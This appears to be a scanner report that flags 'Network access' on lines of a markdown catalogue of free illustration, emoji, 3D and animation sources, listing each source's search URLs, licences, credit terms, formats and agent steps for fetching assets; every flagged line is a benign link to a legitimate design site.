  • Network accessline 9
    | [Lukasz Adam free illustrations](https://lukaszadam.com/illustrations) ([search](https://lukaszadam.com/illustrations)) | flat vector scenes and objects, several hues | [CC0 (the page says 'CC0 license (MIT license)', naming both)](https:
  • Network accessline 10
    | [illlustrations (Vijay Verma)](https://illlustrations.co) ([search](https://illlustrations.co/explore)) | flat, bold-outlined objects and characters from a 100-day challenge | [CC0 (the 120+ v1 illustrations)](https://illlustrations.co/li
  • Network accessline 11
    | [unDraw (Katerina Limpitsouni)](https://undraw.co) ([search](https://undraw.co/search/rocket)) | flat scenes with one accent color (#6c63ff by default) and gray neutrals; the most recognised free style | [unDraw licence (free commercial, 
  • Network accessline 12
    | [Storyset (Freepik)](https://storyset.com) ([search](https://storyset.com/search?q=rocket)) | flat and isometric scenes in several styles, editable colors on the site | [Storyset terms (free with credit)](https://storyset.com/terms) | cre
  • Network accessline 13
    | [DrawKit (free packs)](https://www.drawkit.com) ([search](https://www.drawkit.com/search?query=rocket)) | polished flat and grainy packs | [DrawKit licence](https://www.drawkit.com/license) | credit optional | SVG, PNG, Figma, Lottie, GIF
  • Network accessline 14
    | [IRA Design (Creative Tim)](https://iradesign.io) ([search](https://iradesign.io/illustrations)) | gradient flat scenes you assemble | [MIT](https://github.com/ira-design/ira-illustrations/blob/master/LICENSE.md) | keep the licence notice
  • Network accessline 15
    | [ManyPixels gallery](https://www.manypixels.co/gallery) ([search](https://www.manypixels.co/gallery)) | flat and outline scenes, recolorable on the site | [ManyPixels licence](https://www.manypixels.co/gallery) | no credit needed | PNG | 
  • Network accessline 16
    | [Scale by Flexiple](https://scale.flexiple.com/illustrations/) ([search](https://scale.flexiple.com/illustrations/single/?query[search]=rocket)) | flat, single- or multi-colour scenes, unDraw-like | [Scale licence (on the page)](https://s
  • Network accessline 17
    | [Pixeltrue free packs](https://www.pixeltrue.com/packs) ([search](https://www.pixeltrue.com/packs)) | quirky flat characters and animals, good for empty and error states | [Pixeltrue licence](https://www.pixeltrue.com/license) | no credit
  • Network accessline 18
    | [Streamline free illustrations](https://www.streamlinehq.com/illustrations/free) ([search](https://www.streamlinehq.com/illustrations/free?search=rocket)) | polished flat and duotone scenes in about 17 named styles | [Streamline Free Lice
  • Network accessline 19
    | [IconScout free illustrations](https://iconscout.com/free-illustrations) ([search](https://iconscout.com/free-illustrations/rocket)) | mixed marketplace from many contributors, flat to 3D | [IconScout Simple License](https://iconscout.com
  • Network accessline 20
    | [Craftwork free assets](https://craftwork.design) ([search](https://craftwork.design/assets?search=rocket)) | mixed marketplace of 2D and 3D art from many authors | [Craftwork Commercial License](https://craftwork.design/license) | no cre
  • Network accessline 21
    | [Figma Community free files](https://www.figma.com/community) ([search](https://www.figma.com/community/search?resource_type=files&sort_by=relevancy&query=rocket&editor_type=all&price=free)) | kits from many creators | [CC BY 4.0 for free
  • Network accessline 22
    | [Icons8 Illustrations (Ouch!)](https://icons8.com/illustrations) ([search](https://icons8.com/illustrations/s/rocket)) | many artists' styles; some are named after brands, which the identity firewall rules out | [Icons8 free licence (link
  • Network accessline 23
    | [Freepik (now Magnific)](https://www.magnific.com) ([search](https://www.freepik.com/search?format=search&query=rocket&type=illustration&license=free)) | huge stock library that includes AI-generated items; consistency is low | [Magnific 
  • Network accessline 27
    | Source | Style | Licence | Credit | Formats | Access | |---|---|---|---|---|---| | [Open Peeps (Pablo Stanley)](https://www.openpeeps.com) ([search](https://www.openpeeps.com)) | hand-drawn people you mix from parts | [CC0](https://www.op
  • Network accessline 28
    |---|---|---|---|---|---| | [Open Peeps (Pablo Stanley)](https://www.openpeeps.com) ([search](https://www.openpeeps.com)) | hand-drawn people you mix from parts | [CC0](https://www.openpeeps.com) | no credit needed | SVG, PNG, Figma, Sketch
  • Network accessline 29
    | [Open Peeps (Pablo Stanley)](https://www.openpeeps.com) ([search](https://www.openpeeps.com)) | hand-drawn people you mix from parts | [CC0](https://www.openpeeps.com) | no credit needed | SVG, PNG, Figma, Sketch | you download |
  • Network accessline 30
    | [Humaaans (Pablo Stanley)](https://www.humaaans.com) ([search](https://www.humaaans.com)) | flat people built from mixable parts | [CC0](https://www.humaaans.com) | no credit needed | Figma, Sketch, XD, InVision Studio | you download |
  • Network accessline 31
    | [Blush](https://blush.design) ([search](https://blush.design/search/rocket)) | many artists' collections, customizable | [Blush licence](https://blush.design/license) | no credit needed | PNG (free, small), SVG (Pro) | you download |
  • Network accessline 35
    | Source | Style | Licence | Credit | Formats | Access | |---|---|---|---|---|---| | [Open Doodles (Pablo Stanley)](https://www.opendoodles.com) ([search](https://www.opendoodles.com)) | hand-drawn line doodles, one ink color with flat fill
  • Network accessline 36
    |---|---|---|---|---|---| | [Open Doodles (Pablo Stanley)](https://www.opendoodles.com) ([search](https://www.opendoodles.com)) | hand-drawn line doodles, one ink color with flat fills | [Free commercial use, no credit (site terms)](https:/
  • Network accessline 37
    | [Open Doodles (Pablo Stanley)](https://www.opendoodles.com) ([search](https://www.opendoodles.com)) | hand-drawn line doodles, one ink color with flat fills | [Free commercial use, no credit (site terms)](https://www.opendoodles.com/about
  • Network accessline 38
    | [CocoMaterial](https://cocomaterial.com) ([search](https://cocomaterial.com/results?q=rocket)) | hand-drawn black-line doodles, optional flat colour | [CC0](https://cocomaterial.com/license) | no credit needed | SVG, PNG, GIF | agent fetc
  • Network accessline 39
    | [Doodle Ipsum (placeholders)](https://doodleipsum.com) ([search](https://doodleipsum.com)) | Blush doodles served as placeholder images by URL | [Blush licence](https://blush.design/license) | no credit needed | PNG | agent may browse |
  • Network accessline 43
    | Source | Style | Licence | Credit | Formats | Access | |---|---|---|---|---|---| | [Iconify multicolor sets (spot art, not scenes)](https://icon-sets.iconify.design) ([search](https://icon-sets.iconify.design/?query=rocket)) | small multi
  • Network accessline 44
    |---|---|---|---|---|---| | [Iconify multicolor sets (spot art, not scenes)](https://icon-sets.iconify.design) ([search](https://icon-sets.iconify.design/?query=rocket)) | small multicolor objects and emoji for feature tiles and compact emp
  • Network accessline 45
    | [Iconify multicolor sets (spot art, not scenes)](https://icon-sets.iconify.design) ([search](https://icon-sets.iconify.design/?query=rocket)) | small multicolor objects and emoji for feature tiles and compact empty states | [Per set (MIT,
  • Network accessline 46
    | [Kenney](https://kenney.nl/assets) ([search](https://kenney.nl/assets?search=rocket)) | game sprites and 3D kits, not UI illustration | [CC0](https://kenney.nl/support) | no credit needed | PNG, SVG (some packs), 3D | agent may browse | |
  • Network accessline 47
    | [SVG Repo](https://www.svgrepo.com) ([search](https://www.svgrepo.com/vectors/rocket/)) | mixed: icons and some illustrations | [Per item (CC0, MIT, CC BY...)](https://www.svgrepo.com/page/licensing/) | depends on each item | SVG, PNG | y
  • Network accessline 48
    | [Microsoft Fluent Emoji](https://github.com/microsoft/fluentui-emoji) ([search](https://icon-sets.iconify.design/fluent-emoji-flat/?query=rocket)) | friendly emoji in Flat, Color (gradient) and 3D styles | [MIT](https://github.com/microso
  • Network accessline 49
    | [Google Noto Emoji (2D, 3D and animated)](https://github.com/googlefonts/noto-emoji) ([search](https://googlefonts.github.io/noto-emoji-animation/)) | Google's emoji: flat 2D SVG, 3D renders (added Sep 2026) and Lottie animations | [Apach
  • Network accessline 50
    | [OpenMoji](https://openmoji.org) ([search](https://openmoji.org/library/#search=rocket)) | open-source emoji with a clean outlined look | [CC BY-SA 4.0](https://openmoji.org/faq/) | credit required | SVG, PNG | agent may browse |
  • Network accessline 51
    | [Twemoji (jdecked fork)](https://github.com/jdecked/twemoji) ([search](https://icon-sets.iconify.design/twemoji/?query=rocket)) | flat emoji, the former Twitter set | [CC BY 4.0 (graphics)](https://github.com/jdecked/twemoji#license) | cr
  • Network accessline 55
    | Source | Style | Licence | Credit | Formats | Access | |---|---|---|---|---|---| | [3dicons](https://3dicons.co) ([search](https://3dicons.co/explore)) | glossy, toy-like 3D objects in clay, colour and gradient styles (about 200) | [CC0](
  • Network accessline 56
    |---|---|---|---|---|---| | [3dicons](https://3dicons.co) ([search](https://3dicons.co/explore)) | glossy, toy-like 3D objects in clay, colour and gradient styles (about 200) | [CC0](https://3dicons.co) | no credit needed | PNG, WebP | you 
  • Network accessline 57
    | [3dicons](https://3dicons.co) ([search](https://3dicons.co/explore)) | glossy, toy-like 3D objects in clay, colour and gradient styles (about 200) | [CC0](https://3dicons.co) | no credit needed | PNG, WebP | you download |
  • Network accessline 58
    | [Shapefest](https://shapefest.com) ([search](https://shapefest.com)) | abstract 3D shapes with studio lighting | [Shapefest Commercial+ licence](https://shapefest.com/license-agreement) | no credit needed | PNG | you download |
  • Network accessline 59
    | [Spline community](https://community.spline.design) ([search](https://community.spline.design/search?query=rocket)) | interactive 3D scenes shared by the community | [CC BY 4.0](https://docs.spline.design) | credit required | Spline scene
  • Network accessline 63
    | Source | Style | Licence | Credit | Formats | Access | |---|---|---|---|---|---| | [LottieFiles free animations](https://lottiefiles.com/free-animations) ([search](https://lottiefiles.com/free-animations/rocket)) | community Lottie animat
  • Network accessline 64
    |---|---|---|---|---|---| | [LottieFiles free animations](https://lottiefiles.com/free-animations) ([search](https://lottiefiles.com/free-animations/rocket)) | community Lottie animations of every style | [Lottie Simple License](https://lot
  • Network accessline 65
    | [LottieFiles free animations](https://lottiefiles.com/free-animations) ([search](https://lottiefiles.com/free-animations/rocket)) | community Lottie animations of every style | [Lottie Simple License](https://lottiefiles.com/page/license)
  • Network accessline 66
    | [useAnimations](https://useanimations.com) ([search](https://useanimations.com)) | Feather-style animated line icons on a 32 px grid | [CC BY (with a link)](https://useanimations.com/licencing-and-terms.html) | credit required | Lottie JS
  • Network accessline 67
    | [Rive marketplace](https://rive.app/marketplace/) ([search](https://rive.app/marketplace/)) | interactive animations and state machines | [CC BY](https://rive.app/docs) | credit required | Rive .riv | you download |
  • Network accessline 71
    | Source | Style | Licence | Credit | Formats | Access | |---|---|---|---|---|---| | [Haikei (generator)](https://haikei.app) ([search](https://app.haikei.app)) | waves, blobs, layered shapes and gradients you generate | [Haikei terms (outp
  • Network accessline 72
    |---|---|---|---|---|---| | [Haikei (generator)](https://haikei.app) ([search](https://app.haikei.app)) | waves, blobs, layered shapes and gradients you generate | [Haikei terms (output is yours, free commercial use)](https://haikei.app/pri
  • Network accessline 73
    | [Haikei (generator)](https://haikei.app) ([search](https://app.haikei.app)) | waves, blobs, layered shapes and gradients you generate | [Haikei terms (output is yours, free commercial use)](https://haikei.app/pricing/) | no credit needed 
  • Network accessline 74
    | [Hero Patterns](https://heropatterns.com) ([search](https://heropatterns.com)) | repeatable SVG background patterns by Steve Schoger | [CC BY 4.0](https://heropatterns.com) | credit required | SVG, CSS | you download |
  • Network accessline 75
    | [fffuel (generators)](https://fffuel.co) ([search](https://fffuel.co)) | about 70 SVG generators: blobs, gradients, noise, patterns | [fffuel licence](https://fffuel.co/license/) | no credit needed | SVG, PNG | you download |
  • Network accessline 79
    | Source | Style | Licence | Credit | Formats | Access | |---|---|---|---|---|---| | [Openverse (WordPress; Creative Commons search)](https://openverse.org) ([search](https://openverse.org/search/image?q=rocket&extension=svg&license_type=co
  • Network accessline 80
    |---|---|---|---|---|---| | [Openverse (WordPress; Creative Commons search)](https://openverse.org) ([search](https://openverse.org/search/image?q=rocket&extension=svg&license_type=commercial,modification)) | Creative Commons search across 
  • Network accessline 81
    | [Openverse (WordPress; Creative Commons search)](https://openverse.org) ([search](https://openverse.org/search/image?q=rocket&extension=svg&license_type=commercial,modification)) | Creative Commons search across Wikimedia, Flickr and othe
  • Network accessline 82
    | [Wikimedia Commons](https://commons.wikimedia.org) ([search](https://commons.wikimedia.org/w/index.php?search=rocket+filemime%3Aimage%2Fsvg%2Bxml&title=Special:MediaSearch&type=image)) | Wikimedia's media library: diagrams, emblems, clipa
  • Network accessline 83
    | [Openclipart](https://openclipart.org) ([search](https://openclipart.org/search/?query=rocket)) | mixed-quality community clipart (186,000+) | [CC0](https://openclipart.org/share) | no credit needed | SVG, PNG | agent may browse |
  • Network accessline 84
    | [NASA Image and Video Library](https://images.nasa.gov) ([search](https://images.nasa.gov/search?q=rocket&media=image)) | photos, technical renders and artist concept art | [NASA media guidelines (generally not copyrighted in the US)](htt
  • Network accessline 85
    | [The Met Open Access](https://www.metmuseum.org/art/collection) ([search](https://www.metmuseum.org/art/collection/search?q=rocket&showOnly=openAccess)) | prints, etchings, botanical and ornament drawings | [CC0 where isPublicDomain is tr
  • Network accessline 86
    | [Smithsonian Open Access](https://www.si.edu/openaccess) ([search](https://www.si.edu/search/collection-images?edan_q=rocket&edan_fq[]=media_usage:CC0)) | historic engravings, pattern designs, specimen drawings | [CC0 per item](https://ww
  • Network accessline 87
    | [Public Domain Vectors](https://publicdomainvectors.org) ([search](https://publicdomainvectors.org/search?q=rocket)) | clipart similar to Openclipart | [CC0](https://publicdomainvectors.org/en/public-domain) | no credit needed | SVG, AI, 
  • Network accessline 93
    - **Good for:** onboarding, hero, feature, about - **Search:** `https://openverse.org/search/image?q={q}&extension=svg&license_type=commercial,modification` · filters: licence (cc0, pdm, by, by-sa), licence type (commercial, modification), 
  • Network accessline 94
    - **Search:** `https://openverse.org/search/image?q={q}&extension=svg&license_type=commercial,modification` · filters: licence (cc0, pdm, by, by-sa), licence type (commercial, modification), extension, category (illustration, photograph, di
  • Network accessline 105
    - **Good for:** error-404, feature - **Search:** `https://commons.wikimedia.org/w/index.php?search={q}+filemime%3Aimage%2Fsvg%2Bxml&title=Special:MediaSearch&type=image` · filters: filemime:image/svg+xml, incategory:"...", licence shown per
  • Network accessline 106
    - **Search:** `https://commons.wikimedia.org/w/index.php?search={q}+filemime%3Aimage%2Fsvg%2Bxml&title=Special:MediaSearch&type=image` · filters: filemime:image/svg+xml, incategory:"...", licence shown per file
  • Network accessline 117
    - **Good for:** empty-state, success, loading, about - **Search:** `https://www.opendoodles.com`
  • Network accessline 118
    - **Search:** `https://www.opendoodles.com`
  • Network accessline 127
    - **Good for:** onboarding, feature, hero - **Search:** `https://lukaszadam.com/illustrations`
  • Network accessline 128
    - **Search:** `https://lukaszadam.com/illustrations`
  • Network accessline 137
    - **Good for:** empty-state, about, success, loading - **Search:** `https://cocomaterial.com/results?q={q}` · filters: tags (combined with AND)
  • Network accessline 138
    - **Search:** `https://cocomaterial.com/results?q={q}` · filters: tags (combined with AND)
  • Network accessline 147
    - **Good for:** feature, notification, pricing - **Search:** `https://icon-sets.iconify.design/?query={q}`
  • Network accessline 148
    - **Search:** `https://icon-sets.iconify.design/?query={q}`
  • Network accessline 158
    - **Good for:** feature, empty-state, onboarding - **Search:** `https://illlustrations.co/explore`
  • Network accessline 159
    - **Search:** `https://illlustrations.co/explore`
  • Network accessline 160
    - **Formats:** SVG, PNG (v1 free, no sign-up; builder SVG needs Pro) - **Customize on the site:** Croods v2 character builder - **Plugins:** [Figma: illlustrations](https://www.figma.com/community/plugin/1124370159336948073/illlustrations)
  • Network accessline 161
    - **Customize on the site:** Croods v2 character builder - **Plugins:** [Figma: illlustrations](https://www.figma.com/community/plugin/1124370159336948073/illlustrations) - **Limits:** Newer premium and builder assets: no redistribution as 
  • Network accessline 162
    - **Plugins:** [Figma: illlustrations](https://www.figma.com/community/plugin/1124370159336948073/illlustrations)
  • Network accessline 164
    - **Tip:** Search is in the page only; titles are single objects ("Day 38: Macintosh"), so search nouns - **Tip:** Skip items that show trademarked products - **Agent steps:** (1) Open https://illlustrations.co/explore and type a noun → (2)
  • Network accessline 166
    - **Agent steps:** (1) Open https://illlustrations.co/explore and type a noun → (2) Open an item and download SVG → (3) illustrate.py add FILE --source illlustrations --url <item page>
  • Network accessline 170
    - **Good for:** feature, error - **Search:** `https://openclipart.org/search/?query={q}`
  • Network accessline 171
    - **Search:** `https://openclipart.org/search/?query={q}`
  • Network accessline 180
    - **Good for:** hero, error-404 - **Search:** `https://images.nasa.gov/search?q={q}&media=image`
  • Network accessline 181
    - **Search:** `https://images.nasa.gov/search?q={q}&media=image`
  • Network accessline 184
    - **Tip:** Add "illustration" or "artist concept" to the words - **Tip:** Raster only: it cannot be recolored to tokens - **Agent steps:** (1) Call https://images-api.nasa.gov/search?q=<q>&media_type=image → (2) Drop items with insignia or 
  • Network accessline 186
    - **Agent steps:** (1) Call https://images-api.nasa.gov/search?q=<q>&media_type=image → (2) Drop items with insignia or people → (3) Use the ~large file; credit NASA
  • Network accessline 190
    - **Good for:** hero, about - **Search:** `https://www.metmuseum.org/art/collection/search?q={q}&showOnly=openAccess`
  • Network accessline 191
    - **Search:** `https://www.metmuseum.org/art/collection/search?q={q}&showOnly=openAccess`
  • Network accessline 200
    - **Good for:** hero, about - **Search:** `https://www.si.edu/search/collection-images?edan_q={q}&edan_fq[]=media_usage:CC0`
  • Network accessline 201
    - **Search:** `https://www.si.edu/search/collection-images?edan_q={q}&edan_fq[]=media_usage:CC0`
  • Network accessline 210
    - **Good for:** empty-state, onboarding - **Search:** `https://doodleipsum.com`
  • Network accessline 211
    - **Search:** `https://doodleipsum.com`
  • Network accessline 213
    - **Customize on the site:** Style, size, background colour, circle shape - **Limits:** PNG only, no keyword search: a placeholder while real art is chosen; no resale or competing service - **Tip:** URL pattern: https://doodleipsum.com/600x
  • Network accessline 214
    - **Limits:** PNG only, no keyword search: a placeholder while real art is chosen; no resale or competing service - **Tip:** URL pattern: https://doodleipsum.com/600x400/flat?bg=<surface hex> - **Tip:** Keep the redirected URL with i=<id> t
  • Network accessline 215
    - **Tip:** URL pattern: https://doodleipsum.com/600x400/flat?bg=<surface hex>
  • Network accessline 221
    - **Good for:** success, loading - **Search:** `https://kenney.nl/assets?search={q}`
  • Network accessline 222
    - **Search:** `https://kenney.nl/assets?search={q}`
  • Network accessline 230
    - **Good for:** empty-state, onboarding, error-404, feature, hero - **Search:** `https://undraw.co/search/{q}`
  • Network accessline 231
    - **Search:** `https://undraw.co/search/{q}` - **Formats:** SVG, PNG (free, no login; unDraw+ adds animated and mono styles) - **Customize on the site:** Accent colour swatch in the header, applied before download
  • Network accessline 236
    - **Tip:** Search one noun: inbox, rocket, team, 404 - **Tip:** Its style is very common; say so when you recommend it - **Agent steps:** (1) Give the person https://undraw.co/search/<q> → (2) They set the colour swatch, open a card, click 
  • Network accessline 238
    - **Agent steps:** (1) Give the person https://undraw.co/search/<q> → (2) They set the colour swatch, open a card, click Download SVG → (3) illustrate.py add FILE --source undraw --url <item page>
  • Network accessline 242
    - **Good for:** empty-state, onboarding, error-404, success, feature - **Search:** `https://storyset.com/search?q={q}` · filters: style (rafiki, bro, amico, pana, cuate), colour, background (hidden, simple, detailed), recent or popular
  • Network accessline 243
    - **Search:** `https://storyset.com/search?q={q}` · filters: style (rafiki, bro, amico, pana, cuate), colour, background (hidden, simple, detailed), recent or popular
  • Network accessline 244
    - **Formats:** SVG, PNG, animated HTML, GIF, MP4 - **Customize on the site:** Colour picker, show or hide layers, Animate it - **Plugins:** [Figma: Stories by Freepik](https://www.figma.com/community/plugin/865232148477039928/Stories-by-Fre
  • Network accessline 245
    - **Customize on the site:** Colour picker, show or hide layers, Animate it - **Plugins:** [Figma: Stories by Freepik](https://www.figma.com/community/plugin/865232148477039928/Stories-by-Freepik) - **Limits:** Credit Storyset (unless Flati
  • Network accessline 246
    - **Plugins:** [Figma: Stories by Freepik](https://www.figma.com/community/plugin/865232148477039928/Stories-by-Freepik)
  • Network accessline 249
    - **Tip:** Set the colour to your accent token and background to Hidden before download - **Tip:** Only rafiki, bro and pana have a simple background - **Agent steps:** (1) Give the person https://storyset.com/search?q=<q>&style=<style> → (
  • Network accessline 251
    - **Agent steps:** (1) Give the person https://storyset.com/search?q=<q>&style=<style> → (2) They open an item, click Change color, pick the background → (3) They click Download SVG; illustrate.py add FILE --source storyset --url <item page
  • Network accessline 255
    - **Good for:** about, onboarding, empty-state - **Search:** `https://www.openpeeps.com`
  • Network accessline 256
    - **Search:** `https://www.openpeeps.com`
  • Network accessline 260
    - **Tip:** No search: browse Busts, Standing or Sitting - **Tip:** Build custom poses on Blush (free PNG, SVG needs Blush Pro) - **Agent steps:** (1) Give the person https://www.openpeeps.com → (2) They scroll to Grab and go! and click SVG 
  • Network accessline 262
    - **Agent steps:** (1) Give the person https://www.openpeeps.com → (2) They scroll to Grab and go! and click SVG under a peep → (3) illustrate.py add FILE --source openpeeps
  • Network accessline 266
    - **Good for:** about, hero, onboarding - **Search:** `https://www.humaaans.com`
  • Network accessline 267
    - **Search:** `https://www.humaaans.com`
  • Network accessline 271
    - **Tip:** The Gumroad download ($0) is a design-tool library: export SVG from Figma - **Tip:** Compose people from parts to match your audience - **Agent steps:** (1) Give the person https://www.humaaans.com → (2) They click Download and e
  • Network accessline 273
    - **Agent steps:** (1) Give the person https://www.humaaans.com → (2) They click Download and enter $0 on Gumroad → (3) Export the pose as SVG from Figma, then illustrate.py add
  • Network accessline 277
    - **Good for:** about, onboarding - **Search:** `https://blush.design/search/{q}`
  • Network accessline 278
    - **Search:** `https://blush.design/search/{q}`
  • Network accessline 279
    - **Formats:** PNG (free, small), SVG (Pro) - **Customize on the site:** Builder: colours, body parts, backgrounds, Shuffle - **Plugins:** [Figma: Blush](https://www.figma.com/community/plugin/838959511417581040/Blush), [Sketch](https://blu
  • Network accessline 280
    - **Customize on the site:** Builder: colours, body parts, backgrounds, Shuffle - **Plugins:** [Figma: Blush](https://www.figma.com/community/plugin/838959511417581040/Blush), [Sketch](https://blush.design/sketch) - **Limits:** SVG needs a 
  • Network accessline 281
    - **Plugins:** [Figma: Blush](https://www.figma.com/community/plugin/838959511417581040/Blush), [Sketch](https://blush.design/sketch)
  • Network accessline 283
    - **Tip:** Search by URL path (/search/<q>), not ?q= - **Tip:** Pick one collection and stay in it - **Agent steps:** (1) Give the person https://blush.design/search/<q> → (2) They open an item, edit it, Download (SVG needs Pro) → (3) illus
  • Network accessline 285
    - **Agent steps:** (1) Give the person https://blush.design/search/<q> → (2) They open an item, edit it, Download (SVG needs Pro) → (3) illustrate.py add FILE --source blush
  • Network accessline 289
    - **Good for:** hero, onboarding, empty-state - **Search:** `https://www.drawkit.com/search?query={q}` · filters: /illustration-types/2d|3d|icons|animations and /illustration-categories/<slug>
  • Network accessline 290
    - **Search:** `https://www.drawkit.com/search?query={q}` · filters: /illustration-types/2d|3d|icons|animations and /illustration-categories/<slug>
  • Network accessline 291
    - **Formats:** SVG, PNG, Figma, Lottie, GIF (free packs arrive by email link; Pro is paid) - **Plugins:** [Figma: DrawKit 3D & Illustration Library](https://www.figma.com/community/plugin/1044419856113171023/Drawkit-3D-%26-Illustration-Libr
  • Network accessline 292
    - **Plugins:** [Figma: DrawKit 3D & Illustration Library](https://www.figma.com/community/plugin/1044419856113171023/Drawkit-3D-%26-Illustration-Library)
  • Network accessline 294
    - **Tip:** Search returns whole packs: pick one pack for the product - **Tip:** Free packs: start at /free-illustrations - **Agent steps:** (1) Give the person https://www.drawkit.com/free-illustrations → (2) They open a pack and click Emai
  • Network accessline 296
    - **Agent steps:** (1) Give the person https://www.drawkit.com/free-illustrations → (2) They open a pack and click Email Download Link → (3) They unzip and pick; illustrate.py add
  • Network accessline 300
    - **Good for:** hero, onboarding - **Search:** `https://iradesign.io/illustrations`
  • Network accessline 301
    - **Search:** `https://iradesign.io/illustrations`
  • Network accessline 305
    - **Tip:** No search: browse characters, objects, backgrounds, outline - **Tip:** Gradients recolor less cleanly than flat fills - **Agent steps:** (1) Give the person https://iradesign.io/gallery/illustrations → (2) They click SVG under an
  • Network accessline 307
    - **Agent steps:** (1) Give the person https://iradesign.io/gallery/illustrations → (2) They click SVG under an item → (3) illustrate.py add FILE --source iradesign
  • Network accessline 311
    - **Good for:** feature, empty-state - **Search:** `https://www.manypixels.co/gallery` · filters: style (Playstroke, Birdview, Chromablue, Colossalflat, Azureline), about 17 categories, colour
  • Network accessline 312
    - **Search:** `https://www.manypixels.co/gallery` · filters: style (Playstroke, Birdview, Chromablue, Colossalflat, Azureline), about 17 categories, colour - **Formats:** PNG - **Limits:** Only the PNG download is under the gallery licence;
  • Network accessline 315
    - **Tip:** Set the colour input to your accent before downloading - **Tip:** PNG cannot be recolored to tokens: use only if the colours already match - **Agent steps:** (1) Give the person https://www.manypixels.co/gallery → (2) They set th
  • Network accessline 317
    - **Agent steps:** (1) Give the person https://www.manypixels.co/gallery → (2) They set the colour, search in the page, open a card → (3) They click DOWNLOAD PNG
  • Network accessline 321
    - **Good for:** empty-state, feature, onboarding - **Search:** `https://scale.flexiple.com/illustrations/single/?query[search]={q}`
  • Network accessline 322
    - **Search:** `https://scale.flexiple.com/illustrations/single/?query[search]={q}` - **Formats:** SVG, PNG - **Customize on the site:** Brand colour picker before download
  • Network accessline 332
    - **Good for:** error-404, empty-state, error - **Search:** `https://www.pixeltrue.com/packs`
  • Network accessline 333
    - **Search:** `https://www.pixeltrue.com/packs`
  • Network accessline 336
    - **Tip:** No search URL: open the 5 free packs (core, error-state, lined, minimalistic, unique-copy) - **Tip:** The error-state pack suits 404 and empty screens - **Agent steps:** (1) Give the person https://www.pixeltrue.com/premium/free-
  • Network accessline 338
    - **Agent steps:** (1) Give the person https://www.pixeltrue.com/premium/free-error-state-illustrations → (2) They download the ZIP → (3) illustrate.py add the SVG
  • Network accessline 342
    - **Good for:** hero, feature, onboarding - **Search:** `https://www.streamlinehq.com/illustrations/free?search={q}` · filters: Free / Pro, family, style
  • Network accessline 343
    - **Search:** `https://www.streamlinehq.com/illustrations/free?search={q}` · filters: Free / Pro, family, style
  • Network accessline 344
    - **Formats:** SVG, PNG, JSX, PDF - **Customize on the site:** Colours, stroke and padding on the set page - **Plugins:** [Figma: Streamline](https://www.figma.com/community/plugin/852192486284901337), [MCP server (key)](https://public-api.
  • Network accessline 345
    - **Customize on the site:** Colours, stroke and padding on the set page - **Plugins:** [Figma: Streamline](https://www.figma.com/community/plugin/852192486284901337), [MCP server (key)](https://public-api.streamlinehq.com/mcp) - **Limits:*
  • Network accessline 346
    - **Plugins:** [Figma: Streamline](https://www.figma.com/community/plugin/852192486284901337), [MCP server (key)](https://public-api.streamlinehq.com/mcp)
  • Network accessline 354
    - **Good for:** feature, empty-state - **Search:** `https://iconscout.com/free-illustrations/{q}` · filters: price (free), file type, individual or pack, categories
  • Network accessline 355
    - **Search:** `https://iconscout.com/free-illustrations/{q}` · filters: price (free), file type, individual or pack, categories
  • Network accessline 356
    - **Formats:** SVG, PNG, EPS, AI, Lottie, 3D - **Customize on the site:** SVG editor - **Plugins:** [Figma](https://iconscout.com/plugins/for-figma)
  • Network accessline 357
    - **Customize on the site:** SVG editor - **Plugins:** [Figma](https://iconscout.com/plugins/for-figma) - **Limits:** Free assets need a credit (IconScout help centre) and the Simple License encourages one; terms ban robots and data mining;
  • Network accessline 358
    - **Plugins:** [Figma](https://iconscout.com/plugins/for-figma)
  • Network accessline 360
    - **Tip:** Set Price to Free first - **Tip:** Use View as Pack to keep one style - **Tip:** 3D: https://iconscout.com/free-3d-icons/<q>; free items need a credit per the help centre
  • Network accessline 361
    - **Tip:** Use View as Pack to keep one style - **Tip:** 3D: https://iconscout.com/free-3d-icons/<q>; free items need a credit per the help centre - **Agent steps:** (1) Give the person the search link → (2) They set Free and SVG, download 
  • Network accessline 362
    - **Tip:** 3D: https://iconscout.com/free-3d-icons/<q>; free items need a credit per the help centre
  • Network accessline 367
    - **Good for:** hero, feature - **Search:** `https://craftwork.design/assets?search={q}` · filters: price (free), category
  • Network accessline 368
    - **Search:** `https://craftwork.design/assets?search={q}` · filters: price (free), category
  • Network accessline 369
    - **Formats:** SVG, PNG, Figma, Framer - **Plugins:** [Figma: Craftwork](https://www.figma.com/community/plugin/1624724167089425156/craftwork-design-assets) - **Limits:** No selling or sharing the files, no templates or kits for sale, no lo
  • Network accessline 370
    - **Plugins:** [Figma: Craftwork](https://www.figma.com/community/plugin/1624724167089425156/craftwork-design-assets)
  • Network accessline 378
    - **Good for:** hero, feature, about - **Search:** `https://www.figma.com/community/search?resource_type=files&sort_by=relevancy&query={q}&editor_type=all&price=free`
  • Network accessline 379
    - **Search:** `https://www.figma.com/community/search?resource_type=files&sort_by=relevancy&query={q}&editor_type=all&price=free`
  • Network accessline 388
    - **Good for:** hero - **Search:** `https://icons8.com/illustrations/s/{q}` · filters: free, animated, 3D, style, colours, mood
  • Network accessline 389
    - **Search:** `https://icons8.com/illustrations/s/{q}` · filters: free, animated, 3D, style, colours, mood
  • Network accessline 390
    - **Formats:** PNG, SVG, PSD, GIF, 3D - **Customize on the site:** Mega Creator scene builder - **Plugins:** [Figma: Icons8](https://www.figma.com/community/plugin/791103617505812222/icons8-icons-illustrations-photos)
  • Network accessline 391
    - **Customize on the site:** Mega Creator scene builder - **Plugins:** [Figma: Icons8](https://www.figma.com/community/plugin/791103617505812222/icons8-icons-illustrations-photos) - **Limits:** Free tier: a visible link to icons8.com, no ch
  • Network accessline 392
    - **Plugins:** [Figma: Icons8](https://www.figma.com/community/plugin/791103617505812222/icons8-icons-illustrations-photos)
  • Network accessline 400
    - **Good for:** hero - **Search:** `https://www.freepik.com/search?format=search&query={q}&type=illustration&license=free` · filters: licence (free), type, AI-generated
  • Network accessline 401
    - **Search:** `https://www.freepik.com/search?format=search&query={q}&type=illustration&license=free` · filters: licence (free), type, AI-generated
  • Network accessline 410
    - **Good for:** feature, error, offline - **Search:** `https://www.svgrepo.com/vectors/{q}/` · filters: /vectors/<q>/multicolor|monocolor|duotone|outlined|filled|flat/
  • Network accessline 411
    - **Search:** `https://www.svgrepo.com/vectors/{q}/` · filters: /vectors/<q>/multicolor|monocolor|duotone|outlined|filled|flat/
  • Network accessline 415
